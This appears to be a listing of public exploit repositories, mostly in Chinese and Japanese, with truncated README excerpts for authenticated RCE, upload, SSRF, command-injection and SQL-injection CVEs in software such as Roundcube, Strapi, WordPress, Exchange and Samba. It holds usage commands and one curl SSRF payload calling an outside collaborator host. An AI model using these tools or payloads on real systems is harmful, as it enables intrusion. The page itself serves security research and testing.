CVE-2024-21683-RCE

CVE-2024-21683-RCE 致谢 https://x.com/realalphaman https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated 用法 git clone https://github.com/W01fh4cker/CVE-2024-21683-RCE cd CVE-2024-21683-RCE pip install requests bs4 python CVE-2024-21683.py -u http://192.168.198.1:8090 -au...

CVE-2025-49113-exploit

CVE-2025-49113 - Roundcube 远程代码执行 一个针对 CVE-2025-49113 Roundcube Webmail 远程代码执行漏洞 的概念验证利用。 描述 该利用程序针对 Roundcube Webmail 1.5.0 至 1.6.10 版本中的一个反序列化漏洞。该漏洞允许经过身份验证的攻击者在服务器上执行任意代码。 受影响版本 1.5.0 - 1.5.9 1.6.0 - 1.6.10 环境要求 PHP 7.0 或更高版本 启用 cURL 扩展 目标运行受影响版本的 Roundcube 使用方法 php CVE-2025-49113.php 参数说明 :...

Issabel-PBX-4.0.0-RCE-Authenticated

Issabel PBX 4.0.0 リモートコード実行（認証済み）- CVE-2024-0986 説明/概要 Issabel PBX 4.0.0 では、ログインユーザーが asteriskcli コンソールを使用して、xmldoc および dump コマンドでファイルを作成できます。 これにより、アップロードされたファイル名を悪用して restore.php ファイルを介してリモートコマンドを実行することが可能になります。 この PoC スクリプトは、こちらの PoC 動画 に基づいています。 使用方法 $ python3 IssabelPBXAuthenticatedRCE.py -u...

CVE-2020-5844

CVE-2020-5844 PandoraFMS 7.0-NG 742 中的认证远程代码执行漏洞 拥有管理员权限的攻击者可以上传恶意的PHP文档。通过解码base64文件位置，用户可以获得一个以apache用户身份运行的shell。 由 TheCyberGeek 发现 PoC Python 脚本 用法：python3 CVE-2020-5844.py URL USER PASS PHPREVERSESHELL 示例：python3 CVE-2020-5844.py http://10.0.0.2/pandoraconsole admin pandora reverse.php...

CVE-2019-19609-EXPLOIT

CVE-2019-19609-エクスプロイト Strapi（strapi-3.0.0-beta.17.7 以前）における CVE-2019-19609 のエクスプロイト（リモートコード実行）。 私はこの脆弱性に直面したが、公開されたエクスプロイトがない状況でした。そこで独自のものを作成し、ここで共有することにしました。 インストール git clone https://github.com/diego-tella/CVE-2019-19609-EXPLOIT 使用方法 cd CVE-2019-19609-EXPLOIT python exploit.py -d DOMAINORIP -j...

OpenSTAManager-RCE-Exploit-CVE-2026-38751

OpenSTAManager RCE Exploit CVE-2026-38751 任意ファイルアップロードによるリモートコード実行 CVE-2026-38751 向けのフル機能を備えた概念実証（PoC）で、Rust で記述されています。 警告 : このツールは許可されたセキュリティテストおよび教育目的のみ を対象としています。所有しているシステム、またはテストする明示的な許可を得たシステムでのみ使用してください。 説明 OpenSTAManager ≤ 2.10 には、認証済みの任意ファイルアップロード の脆弱性があり、攻撃者が PHP ウェブシェルを含む悪意のある ZIP...

CVE-2021-26855_PoC

CVE-2021-26855PoC Exchange Server 2019 に対する私の初期の SSRF ペイロード CVE-2021-26855... ペイロード 1 curl -i -s -k -X $'GET' -H $'Host: ' -H $'User-Agent: alex666' -H $'Connection: close' -b $'X-AnonResource=true; X-AnonResource-Backend=8r0apyvx5dt613lnaabo1qotwk2bq0.burpcollaborator.net/ecp/default.flt?3;...

wordpress_cropimage

WordPress 裁剪图片 CVE-2019-8943 一个用于WordPress裁剪图片CVE-2019-8943认证远程代码执行（RCE）的Python3脚本。它会植入一个恶意的PHP后门。 开始 执行程序 RCE python3 wprce.py -t http://wordpress.rce/ -u admin -p password -m twentytwenty 帮助 查看帮助菜单： python3 wprce.py -h 免责声明...

CVE-2024-21546

CVE-2024-21546 Python エクスプロイト 🔥 説明 この Python エクスプロイトスクリプトは、UniSharp が作成した脆弱性のある Laravel Filemanager を標的とし、認証済みユーザーがファイル制限を回避して悪意のあるファイルをアップロードできるようにします。アップロードされたペイロードが実行されると、リモートコード実行 RCE につながる可能性があります。 このエクスプロイトは以下を実行します: ユーザー指定の laravelsession を検証します 正規表現で CSRF token を抽出します PHP リバースシェルペイロードを含む偽...

datapower-redis-rce-exploit

datapower-redis-rce-exploit CVE-2020-5014 「Test Message」機能を悪用したIBM DataPower認証済みRedis RCEエクスプロイトのPoCです。 YouTubeで完全な解説とデモを見る tomcope.comのブログ記事 説明 DataPower WebGUIへの認証済みセッションを通じて利用可能なDataPowerの「Send a Test...

CVE-2012-2982-Webmin-RCE

Webadmin 1.580 RCE PoC CVE-2012-2982 このリポジトリには、Webmin バージョン 1.580 向けの Python 概念実証 PoC エクスプロイトが含まれています。このバージョンは、不適切な入力サニタイズに起因する リモートコマンド実行 RCE 脆弱性の影響を受けます。脆弱性は file/show.cgi コンポーネントに存在し、ファイルマネージャーモジュールにアクセスできる 認証済み Webmin ユーザー が 任意の OS コマンドを root として実行 することを可能にします。 この PoC は 教育および研究目的...

CVE-2022-36532

CVE-2022-36532 の概念実証 Bolt CMS バージョン 5.1.12 以前の脆弱性により、EDITORROLE を持つ認証済みユーザーがリモートコード実行を達成できます。この脆弱性はこのスクリプトで検出できます。脆弱性の詳細については、https://lutrasecurity.com/en/articles/cve-2022-36532/ を参照してください。 使用方法 スクリプトの実行には、ユーザー名、対応するパスワード、Bolt CMS インスタンスの URL の 3 つのパラメータが必要です。 http://127.0.0.1:8000/ のインスタンスを認証情報...

CVE-2024-53375

CVE-2024-53375 TP-Link Archerシリーズルーターにおける認証済みOSコマンドインジェクション 影響を受けるデバイス HomeShield機能を使用するTP-Linkデバイスは、このエクスプロイトに対して脆弱です。これにはTP-Link Archerシリーズの複数のルーターが含まれます。 テスト済み Archer AXE75EUV11.2.2 Build 20240827 Publication date November 4, 2024 技術的詳細 攻撃者はHTTP POSTリクエストを使用して、ルーターに任意のコマンドを実行させることができます。この脆弱性は...

EUVD-2026-92074

The Five Star Business Profile and Schema WordPress plugin before 2.4.0 does not properly restrict the callbacks used to resolve schema field default values, allowing authenticated users with Author-level access and above to store input that discloses sensitive data, including other users' passwo...

CVE-2026-86817

The Five Star Business Profile and Schema WordPress plugin, versions 2.3.20 through 2.3.21 , contains a vulnerability where it fails to properly restrict callbacks used to resolve schema field default values. This allows authenticated users with Author-level access or higher to inject input that ...

CVE-2019-19609

CVE-2019-19609 Strapi = 3.0.0-beta.17.8 認証されたリモートコード実行...

CVE-2017-7494

CVE-2017-7494 こんにちは、私はリビアのGihadです 17 C エクスプロイト情報 ========================================================================================== このモジュールは、任意の共有ライブラリのロード脆弱性を Samba バージョン 3.5.0 から 4.4.14、4.5.10、4.6.4 において引き起こします。このモジュールは、 有効な認証情報、アクセス可能な共有内の書き込み可能な フォルダ、および書き込み可能なフォルダのサーバー側パスの知識を必要とします。...

CVE-2024-21689

CVE-2024–21689 RCE Bamboo Data Center and Server Atlassian CVSSスコア - 7.6 🔥 説明 この高重大度のRCE（リモートコード実行）脆弱性CVE-2024-21689 は、バージョン9.1.0、9.2.0、9.3.0、9.4.0、9.5.0、および9.6.0のBamboo Data Center and Serverで導入されました。このRCE（リモートコード実行）脆弱性は、CVSSスコア7.6で、認証された攻撃者が任意のコードを実行することを可能にし、機密性、完全性、可用性に対する高い影響があり、ユーザーの操作が必要です...

gitlab-12.9.0-file-read

警告 デモンストレーション目的および倫理的ハッキング専用です。 これは何か exploit-db で見つかる GitLab v12.9.0 の認証済み任意ファイル読み取り CVE-2020-10977 に関するスクリプトよりも、（そうありたいと願う）優れたスクリプトです。 使い方 1. 依存関係を用意する（他はおそらくすでにあります） pip3 install requests python-gitlab 2. 自分の認証情報を使用して API トークンを取得する...

CVE-2022-37205

CVE-2022-37205 CVE-2022-37205 POC 推奨される説明 RESERVED JFinal CMS 5.1.0 は影響を受ける: SQLインジェクション。これらの インターフェースは同じコンポーネントを使用しておらず、フィルターもありませんが、 それぞれが独自のSQL連結メソッドを使用しており、SQLインジェクションが発生します。 追加情報 https://github.com/AgainstTheLight/someEXPofjfinalcms/blob/main/jfinalcms/sql8.md 脆弱性タイプ SQL Injection ベンダー the...